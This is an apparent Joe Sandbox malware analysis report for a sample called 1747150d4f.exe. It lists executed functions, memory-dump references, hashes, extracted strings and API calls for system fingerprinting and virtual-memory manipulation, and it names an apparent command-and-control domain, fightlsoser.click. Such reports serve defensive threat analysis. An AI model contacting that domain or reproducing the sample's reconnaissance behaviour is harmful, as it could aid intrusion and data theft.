Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 6f52f9a5206e537d462af8de83669963d430db434501f60a8b7f9d0a4acb7b60
Instruction ID: db68f6506fb8650234f76309bd66dfa88de2274aa5d88bb0d0a5e3e4c04760b7
Opcode Fuzzy Hash: 6f52f9a5206e537d462af8de83669963d430db434501f60a8b7f9d0a4acb7b60
Instruction Fuzzy Hash: 23E08634440208F6CF26FB54C847ACE77A8AB10746F04C121BD50151929FB4A79CDF81

Analysis Process: 1747150d4f.exePID: 7216, Parent PID: 3320COMMON

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	27.4%
Total number of Nodes:	446
Total number of Limit Nodes:	33

Executed Functions

Function 00431BB0 Relevance: 71.9, APIs: 2, Strings: 39, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00431BF9
GetSystemMetrics.USER32 ref: 00431C09

Strings

0[D, xrefs: 00431EAE
PMD, xrefs: 00431EF0
PMD, xrefs: 00432024
@[D, xrefs: 00431EC4
PMD, xrefs: 00431FE2
PMD, xrefs: 00431BC1
PMD, xrefs: 00431F32
PMD, xrefs: 00432066
P[D, xrefs: 00431EDA
PMD, xrefs: 00431FA0
PMD, xrefs: 00431F8A
XZD, xrefs: 00431D85
PMD, xrefs: 00431F1C
PMD, xrefs: 0043200E
PZD, xrefs: 00431D7A
hZD, xrefs: 00431D9B
PMD, xrefs: 00431F74
PMD, xrefs: 00432050
, xrefs: 00431CF6
H[D, xrefs: 00431ECF
PMD, xrefs: 00431FF8
PMD, xrefs: 00431F5E
PMD, xrefs: 00431FB6
ZD, xrefs: 00431E40
ZD, xrefs: 00431E4B
HZD, xrefs: 00431D6F
X[D, xrefs: 00431EE5
`ZD, xrefs: 00431D90
PMD, xrefs: 00431FCC
([D, xrefs: 00431EA3
PMD, xrefs: 00431F06
PMD, xrefs: 0043203A
PMD, xrefs: 00431D59
PMD, xrefs: 0043207C
[D, xrefs: 00431E98
8[D, xrefs: 00431EB9
PMD, xrefs: 00431F48
xZD, xrefs: 00431DB1
pZD, xrefs: 00431DA6

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: MetricsSystem
String ID: $ [D$([D$0[D$8[D$@[D$HZD$H[D$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PMD$PZD$P[D$XZD$X[D$`ZD$hZD$pZD$xZD$ZD$ZD
API String ID: 4116985748-735401729
Opcode ID: c4360614f8f82c5e27f19abdd04c6f864ef0af49341f313285d7bdd33a848109
Instruction ID: ea45c71986b2e534ecec44a4126f62931ddcc8577b73b097e58ed3aa899a90b6
Opcode Fuzzy Hash: c4360614f8f82c5e27f19abdd04c6f864ef0af49341f313285d7bdd33a848109
Instruction Fuzzy Hash: 41B16FB04097818FE771DF14D48879BBBE0BBC5308F508A2EE5E89B251CBB95448CF86

Function 00436F90 Relevance: 35.6, APIs: 11, Strings: 9, Instructions: 571
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044068C,00000000,00000001,0044067C), ref: 00437173
SysAllocString.OLEAUT32(D080DE8F), ref: 004371DB
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00437218
SysAllocString.OLEAUT32(9F4F9D4B), ref: 00437268
SysAllocString.OLEAUT32(E8D216C6), ref: 0043731A
VariantInit.OLEAUT32(.'()), ref: 00437385
VariantClear.OLEAUT32(.'()), ref: 004374E0
SysFreeString.OLEAUT32(?), ref: 00437504
SysFreeString.OLEAUT32(?), ref: 0043750A
SysFreeString.OLEAUT32(00000000), ref: 00437517
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00437552

Strings

.'(), xrefs: 00437008, 004370C1
.;, xrefs: 00437282
>C, xrefs: 004370D7
{|, xrefs: 004373BF
"#$%, xrefs: 004375FC
p*v,, xrefs: 00437199
{.] , xrefs: 004371A1
!", xrefs: 004371A9
C, xrefs: 004370CF

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: !"$"#$%$.'()$.;$>C$C$p*v,${.] ${|
API String ID: 2573436264-264043890
Opcode ID: 95e57cc096cba7a840fd92396d64f49f34505b8d03b2982346d1668a3fdb9a31
Instruction ID: 06fb3ad9466451430b31427f45de08a7eb0daa23bec53a4f5f9458ad790f981b
Opcode Fuzzy Hash: 95e57cc096cba7a840fd92396d64f49f34505b8d03b2982346d1668a3fdb9a31
Instruction Fuzzy Hash: D302F0B1A083009FD320CF64CC81B5BBBE5EB99314F14982DF6C59B3A1D679E805CB96

Function 0040E2A9 Relevance: 14.0, APIs: 2, Strings: 7, Instructions: 529
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.OLE32 ref: 0040E2B5
CoUninitialize.COMBASE ref: 0040E673

Strings

`~, xrefs: 0040E8CD
qx, xrefs: 0040E8EE
s, xrefs: 0040E736
fightlsoser.click, xrefs: 0040E649, 0040E9DD
I~, xrefs: 0040E8E3
,, xrefs: 0040E688
"# `, xrefs: 0040E70A

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: Uninitialize
String ID: "# `$,$I~$`~$fightlsoser.click$qx$s
API String ID: 3861434553-2312874698
Opcode ID: 1bc8a25b561593e53d2d6339a02d65ee242e64d661e98e766194f6cca9f4be8c
Instruction ID: 550626b1aa1881637dc35d229a9c1637f44e71d1f63aa888f187a22684203b49
Opcode Fuzzy Hash: 1bc8a25b561593e53d2d6339a02d65ee242e64d661e98e766194f6cca9f4be8c
Instruction Fuzzy Hash: 2902B0B010C3D18BD3358F2684A07EBBFE1EF92304F189DADD4DA6B252D679040A8B57

Function 004233A0 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

VW, xrefs: 004233E5
ij, xrefs: 0042397D
#R,T, xrefs: 00423647
KM, xrefs: 004237FB
]~"p, xrefs: 0042367F
$^<P, xrefs: 0042363F

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: #R,T$$^<P$VW$]~"p$ij$KM
API String ID: 0-788320361
Opcode ID: 83f2170b8c59a65a8a9960c15d95f04e83c213860b07ad3303ead03e3c572ec6
Instruction ID: 9ed236048ece28067beed024fb633757567cd4a7e3bca11c75bb2a7735f0e68b
Opcode Fuzzy Hash: 83f2170b8c59a65a8a9960c15d95f04e83c213860b07ad3303ead03e3c572ec6
Instruction Fuzzy Hash: D1F1CAB46083509FD310DF65E88262BBBF1EFD5304F44892DE4958B351EB789A06CB4B

Function 0040A960 Relevance: 9.2, Strings: 7, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

n, xrefs: 0040A982
N[\D, xrefs: 0040ABC5, 0040AD01, 0040ADC0, 0040ADEE, 0040ACD2, 0040ABA4, 0040ADB7, 0040ACF6
#xDz, xrefs: 0040AACE
N[\D, xrefs: 0040AC00
kl, xrefs: 0040AB2D
'D F, xrefs: 0040AAC6
A|}~, xrefs: 0040AAD6

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: #xDz$'D F$A|}~$N[\D$N[\D$kl$n
API String ID: 0-490458541
Opcode ID: b00241246f4d0228e6e25298a947675e85839165aeb9511d476d344b8fc49fad
Instruction ID: 966b8f91f76bb20883ed88500b6b89ab0c93423946d56f050922860fedc986fe
Opcode Fuzzy Hash: b00241246f4d0228e6e25298a947675e85839165aeb9511d476d344b8fc49fad
Instruction Fuzzy Hash: D7C1267260C3504BC714CF6488905AFBBD3ABC2304F1E893DE9D56B382D679991AC78B

Function 0040CE55 Relevance: 9.0, Strings: 7, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

I@, xrefs: 0040D0C4
F^, xrefs: 0040D0B9
VgfW, xrefs: 0040CF2F
N~ :, xrefs: 0040CF45
4541E19FBBB2CF6723D904AF30EFEBBC, xrefs: 0040CEAF
fightlsoser.click, xrefs: 0040D27A
z@(, xrefs: 0040CF5B

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: 4541E19FBBB2CF6723D904AF30EFEBBC$F^$I@$N~ :$VgfW$fightlsoser.click$z@(
API String ID: 0-3469981892
Opcode ID: a8b82ccc30708ca5d3da64cc2461f8570c754c905fc98211d30cc89c72c56c70
Instruction ID: b1d760c26d9b90ec4573806c6615211f8657e28aa76e89aec63d6860f5017e85
Opcode Fuzzy Hash: a8b82ccc30708ca5d3da64cc2461f8570c754c905fc98211d30cc89c72c56c70
Instruction Fuzzy Hash: A191EEB05083C18BD335CF25D8A0BEBBBE0AB96314F148D6DD4DD9B282D738454ACB96

Function 004087F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408811
GetCurrentThreadId.KERNEL32 ref: 0040881A
GetForegroundWindow.USER32 ref: 004088CE
ExitProcess.KERNEL32 ref: 0040897B

Strings

YO9W, xrefs: 00408822

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: CurrentProcess$ExitForegroundThreadWindow
String ID: YO9W
API String ID: 3118123366-386669604
Opcode ID: 81875feee291dd51c94163340b3786e966dc5896524b3e4d2eaf5977dbc455ff
Instruction ID: 5b12a659e8285d1355c3597aa5681aa9478bfa7506ef17589c1493984f4e9e7d
Opcode Fuzzy Hash: 81875feee291dd51c94163340b3786e966dc5896524b3e4d2eaf5977dbc455ff
Instruction Fuzzy Hash: 98315977F5061807C31C7AB98C4636AB5874BC4614F0F863E9DD9AB386FDB89C0442D9

Function 0042BFDA Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 461
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042C0D7
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042C113
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042C1D8

Strings

x, xrefs: 0042C2F2

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: x
API String ID: 2243422189-2363233923
Opcode ID: 212c4427347d00bc0ab6c4fd254bb844e7ef8bf1701165750c227f18fd5959f2
Instruction ID: f24e0535182122329204161442b6cb3576d9d8656e0dc52521a12abdc108ad65
Opcode Fuzzy Hash: 212c4427347d00bc0ab6c4fd254bb844e7ef8bf1701165750c227f18fd5959f2
Instruction Fuzzy Hash: EFD1B46060C3E08ED7358B2994903BFBBD1AFD7344F5849ADD0C99B282D779450ACB57

Function 0040C36E Relevance: 6.5, Strings: 5, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CJ, xrefs: 0040C67E
GS, xrefs: 0040C677
){+}, xrefs: 0040C788
F'k), xrefs: 0040C706
4cde, xrefs: 0040C79C

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: ){+}$4cde$CJ$F'k)$GS
API String ID: 0-4192230409
Opcode ID: 5de04a91f599762488a7f1befa48500976ff1de46b0c1ed8ec4e4c363fac47c6
Instruction ID: 6afdb2316fdadaf12e32bd698f1912d34734f08b0bc4a82971b76fff6b28e520
Opcode Fuzzy Hash: 5de04a91f599762488a7f1befa48500976ff1de46b0c1ed8ec4e4c363fac47c6
Instruction Fuzzy Hash: 50B11BB84053058FE354DF629688FAA7BB0FB25310F1A82E9E0992F776D7748405CF96

Function 0042C6D7 Relevance: 5.9, APIs: 1, Strings: 2, Instructions: 614
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

iJ, xrefs: 0042CAF5
', xrefs: 0042CC09

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID: '$iJ
API String ID: 0-30662343
Opcode ID: 5f8335f824c18f5e14225d200a316fb8f8740858805ddfb73ef0b7ad87012508
Instruction ID: e8033de2897f6a471e39d6e72682695b514e130b01bc458e21cc2d5cc8d806b0
Opcode Fuzzy Hash: 5f8335f824c18f5e14225d200a316fb8f8740858805ddfb73ef0b7ad87012508
Instruction Fuzzy Hash: 7C02F57060C3E18FD7298F2990A03ABBFE1AF97304F58496ED4D997342D77984058B97

Function 0042BFD3 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042C113
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042C1D8

Strings

x, xrefs: 0042C2F2

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: ComputerName
String ID: x
API String ID: 3545744682-2363233923
Opcode ID: dd7dd52a73c17c107c662ee8ca0c022aa0f15367076f24ecb02be622242e9914
Instruction ID: cbfe56490d4610b99627c39bd120223bdbde8b4c29662e55905f397c0fd00549
Opcode Fuzzy Hash: dd7dd52a73c17c107c662ee8ca0c022aa0f15367076f24ecb02be622242e9914
Instruction Fuzzy Hash: 1AD1176060C7E18ED7358B2894903BFBBD1AF97344F5849AED0D54B382D739940AC797

Function 00F2F2B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(000000FF,00000000,?,00000002,00000000,00000000,00000000,082962C8,?,?,00F2E5D1,?,00000000,?), ref: 00F2F2F1
NtProtectVirtualMemory.NTDLL(000000FF,?,00F2E5D1,00000000,00000000,00000000,00000000,082962C8,?,?,00F2E5D1,?,00000000,?), ref: 00F2F3F3

Strings

, xrefs: 00F2F387

Memory Dump Source

Source File: 00000007.00000002.2945884823.0000000000F2E000.00000040.00000010.00020000.00000000.sdmp, Offset: 00F2E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f2e000_1747150d4f.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-3916222277
Opcode ID: 7c3c623b9836fa83dbdc5394a12b48ed3865b76677a6f9c3d53535781c8631a1
Instruction ID: 69aa3d97f3167fc67beb3d4635e15ccd3f48ea007b1ce563aa66e202d0520e7f
Opcode Fuzzy Hash: 7c3c623b9836fa83dbdc5394a12b48ed3865b76677a6f9c3d53535781c8631a1
Instruction Fuzzy Hash: EE414E71D10219EBDB04CF94D991BFEBBB5FF48310F20816AE811BB281D7389A45DB90

Function 00426170 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

YNMZ, xrefs: 00426446
4zVc, xrefs: 0042621C
cba`, xrefs: 004261C1
8zVc, xrefs: 0042627D

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: InitializeThunk
String ID: 4zVc$8zVc$YNMZ$cba`
API String ID: 2994545307-1799417857
Opcode ID: eaf66d541d549ce35d0b7173bc81318c446716c3833972a3082171e3945cfb6b
Instruction ID: a4538a0261ff6c2ac210d57fc6ac5424e6a326b8b8d8802f404cc31a7d59ec03
Opcode Fuzzy Hash: eaf66d541d549ce35d0b7173bc81318c446716c3833972a3082171e3945cfb6b
Instruction Fuzzy Hash: 189147B2F042208BD724DA25EC8172B7292EBD1314F5A857EEC8597342E678AC00C7DA

Function 00416B7E Relevance: 1.8, APIs: 1, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 890e8e76508b01334db47f64388eac8d659fe5be4548ddbfe270fdd3745dd69d
Instruction ID: 4d3fd89be0cb7aed4be93335616a378edd6ad360b4f2b7dd84c825cf95623c92
Opcode Fuzzy Hash: 890e8e76508b01334db47f64388eac8d659fe5be4548ddbfe270fdd3745dd69d
Instruction Fuzzy Hash: 9BA159B16047418FCB24CF34C891663BBE2FF56314B098A6ED49A8B792E738F845CB55

Function 00F2ED70 Relevance: 1.7, APIs: 1, Instructions: 162memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,?,00003000,00000004,00000000,00000000,6793C34C), ref: 00F2EDF2

Memory Dump Source

Source File: 00000007.00000002.2945884823.0000000000F2E000.00000040.00000010.00020000.00000000.sdmp, Offset: 00F2E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f2e000_1747150d4f.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 0bfa60c63f50ef171a0b56c2a5d9744cc2ad877c89f3882ce56d9e2bbd017102
Instruction ID: ef496d41f2ada3694438c6254c2e37b8e3d4fa68db3f552411a3c9d7991a62f9
Opcode Fuzzy Hash: 0bfa60c63f50ef171a0b56c2a5d9744cc2ad877c89f3882ce56d9e2bbd017102
Instruction Fuzzy Hash: 8C614971E00229AFDB04DF94D981FFEBBB5EF48310F208559F915AB281D774AA80DB60

Function 0043E690 Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

@CDE, xrefs: 0043E8D1

Memory Dump Source

Source File: 00000007.00000002.2945317505.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2945255884.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945455508.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945501856.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2945555020.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_1747150d4f.jbxd

Similarity

API ID: InitializeThunk
String ID: @CDE
API String ID: 2994545307-1513065382
Opcode ID: cbdfbb28d977ac1ea6b7f73f0ada9322f454d3da5a8c62154e5dc83033fd8ee1
Instruction ID: 3c5ac0be7424b57116813a4f2293c38aabf5a2246835f37d4781b8179357b19c
Opcode Fuzzy Hash: cbdfbb28d977ac1ea6b7f73f0ada9322f454d3da5a8c62154e5dc83033fd8ee1
